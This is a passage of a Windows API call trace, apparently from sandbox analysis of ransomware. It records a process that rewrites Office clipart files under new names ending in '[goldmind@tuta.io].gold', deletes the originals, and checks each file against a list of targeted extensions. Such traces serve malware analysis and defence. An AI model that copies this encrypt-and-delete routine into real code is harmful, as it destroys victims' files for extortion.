dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.781] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.781] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0112.782] GetLastError () returned 0x0 [0112.782] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x3ed2, lpOverlapped=0x0) returned 1 [0112.806] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3ee0, lpOverlapped=0x0) returned 1 [0112.806] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.806] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.807] SetEndOfFile (hFile=0x198) returned 1 [0112.807] CloseHandle (hObject=0x198) returned 1 [0112.807] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.807] SetEndOfFile (hFile=0x394) returned 1 [0112.808] CloseHandle (hObject=0x394) returned 1 [0112.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf")) returned 1 [0112.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.839] lstrlenW (lpString=".doc") returned 4 [0112.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.839] lstrlenW (lpString=".docx") returned 5 [0112.839] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0112.839] lstrlenW (lpString=".pdf") returned 4 [0112.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString=".xls") returned 4 [0112.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.840] lstrlenW (lpString=".xlsx") returned 5 [0112.840] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0112.840] lstrlenW (lpString=".ppt") returned 4 [0112.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.840] lstrlenW (lpString=".zip") returned 4 [0112.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.840] lstrlenW (lpString=".rar") returned 4 [0112.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString=".bz2") returned 4 [0112.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString=".7z") returned 3 [0112.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.840] lstrlenW (lpString=".dbf") returned 4 [0112.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.840] lstrlenW (lpString=".1cd") returned 4 [0112.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.840] lstrlenW (lpString=".jpg") returned 4 [0112.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.840] lstrlenW (lpString=".doc") returned 4 [0112.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString=".docx") returned 5 [0112.840] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0112.840] lstrlenW (lpString=".pdf") returned 4 [0112.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString=".xls") returned 4 [0112.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.840] lstrlenW (lpString=".xlsx") returned 5 [0112.840] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0112.840] lstrlenW (lpString=".ppt") returned 4 [0112.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.840] lstrlenW (lpString=".zip") returned 4 [0112.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.840] lstrlenW (lpString=".rar") returned 4 [0112.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.841] lstrlenW (lpString=".bz2") returned 4 [0112.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.841] lstrlenW (lpString=".7z") returned 3 [0112.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.841] lstrlenW (lpString=".dbf") returned 4 [0112.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.841] lstrlenW (lpString=".1cd") returned 4 [0112.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0112.841] lstrlenW (lpString=".jpg") returned 4 [0112.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.841] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.841] lstrlenW (lpString="J0183174.WMF") returned 12 [0112.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.857] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=28626) returned 1 [0112.857] CloseHandle (hObject=0x3ec) returned 1 [0112.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf")) returned 0x20 [0112.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.859] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.860] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0112.861] GetLastError () returned 0x0 [0112.861] ReadFile (in: hFile=0x3ec, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x6fd2, lpOverlapped=0x0) returned 1 [0112.863] WriteFile (in: hFile=0x3c0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x6fe0, lpOverlapped=0x0) returned 1 [0112.864] ReadFile (in: hFile=0x3ec, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.864] WriteFile (in: hFile=0x3c0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.864] SetEndOfFile (hFile=0x3c0) returned 1 [0112.864] CloseHandle (hObject=0x3c0) returned 1 [0112.864] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.864] SetEndOfFile (hFile=0x3ec) returned 1 [0112.867] CloseHandle (hObject=0x3ec) returned 1 [0112.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf")) returned 1 [0112.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.868] lstrlenW (lpString=".doc") returned 4 [0112.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.868] lstrlenW (lpString=".docx") returned 5 [0112.868] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0112.868] lstrlenW (lpString=".pdf") returned 4 [0112.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.868] lstrlenW (lpString=".xls") returned 4 [0112.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.868] lstrlenW (lpString=".xlsx") returned 5 [0112.868] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0112.868] lstrlenW (lpString=".ppt") returned 4 [0112.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.868] lstrlenW (lpString=".zip") returned 4 [0112.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.868] lstrlenW (lpString=".rar") returned 4 [0112.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.868] lstrlenW (lpString=".bz2") returned 4 [0112.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.868] lstrlenW (lpString=".7z") returned 3 [0112.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.868] lstrlenW (lpString=".dbf") returned 4 [0112.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.869] lstrlenW (lpString=".1cd") returned 4 [0112.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.869] lstrlenW (lpString=".jpg") returned 4 [0112.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.869] lstrlenW (lpString=".doc") returned 4 [0112.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString=".docx") returned 5 [0112.869] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0112.869] lstrlenW (lpString=".pdf") returned 4 [0112.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString=".xls") returned 4 [0112.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.869] lstrlenW (lpString=".xlsx") returned 5 [0112.869] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0112.869] lstrlenW (lpString=".ppt") returned 4 [0112.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.869] lstrlenW (lpString=".zip") returned 4 [0112.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.869] lstrlenW (lpString=".rar") returned 4 [0112.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString=".bz2") returned 4 [0112.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString=".7z") returned 3 [0112.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.869] lstrlenW (lpString=".dbf") returned 4 [0112.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.869] lstrlenW (lpString=".1cd") returned 4 [0112.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0112.869] lstrlenW (lpString=".jpg") returned 4 [0112.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.870] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.870] lstrlenW (lpString="J0183198.WMF") returned 12 [0112.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.870] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=24430) returned 1 [0112.870] CloseHandle (hObject=0x3ec) returned 1 [0112.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf")) returned 0x20 [0112.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.871] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.871] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0112.872] GetLastError () returned 0x0 [0112.872] ReadFile (in: hFile=0x3ec, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5f6e, lpOverlapped=0x0) returned 1 [0112.873] WriteFile (in: hFile=0x3c0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5f70, lpOverlapped=0x0) returned 1 [0112.874] ReadFile (in: hFile=0x3ec, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.875] WriteFile (in: hFile=0x3c0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.875] SetEndOfFile (hFile=0x3c0) returned 1 [0112.875] CloseHandle (hObject=0x3c0) returned 1 [0112.875] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.875] SetEndOfFile (hFile=0x3ec) returned 1 [0112.877] CloseHandle (hObject=0x3ec) returned 1 [0113.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf")) returned 1 [0113.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.055] lstrlenW (lpString=".doc") returned 4 [0113.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.055] lstrlenW (lpString=".docx") returned 5 [0113.055] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.055] lstrlenW (lpString=".pdf") returned 4 [0113.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.055] lstrlenW (lpString=".xls") returned 4 [0113.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.055] lstrlenW (lpString=".xlsx") returned 5 [0113.055] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.055] lstrlenW (lpString=".ppt") returned 4 [0113.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.055] lstrlenW (lpString=".zip") returned 4 [0113.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.055] lstrlenW (lpString=".rar") returned 4 [0113.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.055] lstrlenW (lpString=".bz2") returned 4 [0113.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.055] lstrlenW (lpString=".7z") returned 3 [0113.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.055] lstrlenW (lpString=".dbf") returned 4 [0113.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.055] lstrlenW (lpString=".1cd") returned 4 [0113.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.055] lstrlenW (lpString=".jpg") returned 4 [0113.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.056] lstrlenW (lpString=".doc") returned 4 [0113.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.056] lstrlenW (lpString=".docx") returned 5 [0113.056] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.056] lstrlenW (lpString=".pdf") returned 4 [0113.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.056] lstrlenW (lpString=".xls") returned 4 [0113.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.056] lstrlenW (lpString=".xlsx") returned 5 [0113.056] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.056] lstrlenW (lpString=".ppt") returned 4 [0113.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.056] lstrlenW (lpString=".zip") returned 4 [0113.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.056] lstrlenW (lpString=".rar") returned 4 [0113.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.056] lstrlenW (lpString=".bz2") returned 4 [0113.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.056] lstrlenW (lpString=".7z") returned 3 [0113.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.056] lstrlenW (lpString=".dbf") returned 4 [0113.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.056] lstrlenW (lpString=".1cd") returned 4 [0113.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0113.056] lstrlenW (lpString=".jpg") returned 4 [0113.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.056] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.056] lstrlenW (lpString="J0185780.WMF") returned 12 [0113.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.057] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=59734) returned 1 [0113.057] CloseHandle (hObject=0x3e0) returned 1 [0113.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf")) returned 0x20 [0113.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.058] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.058] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 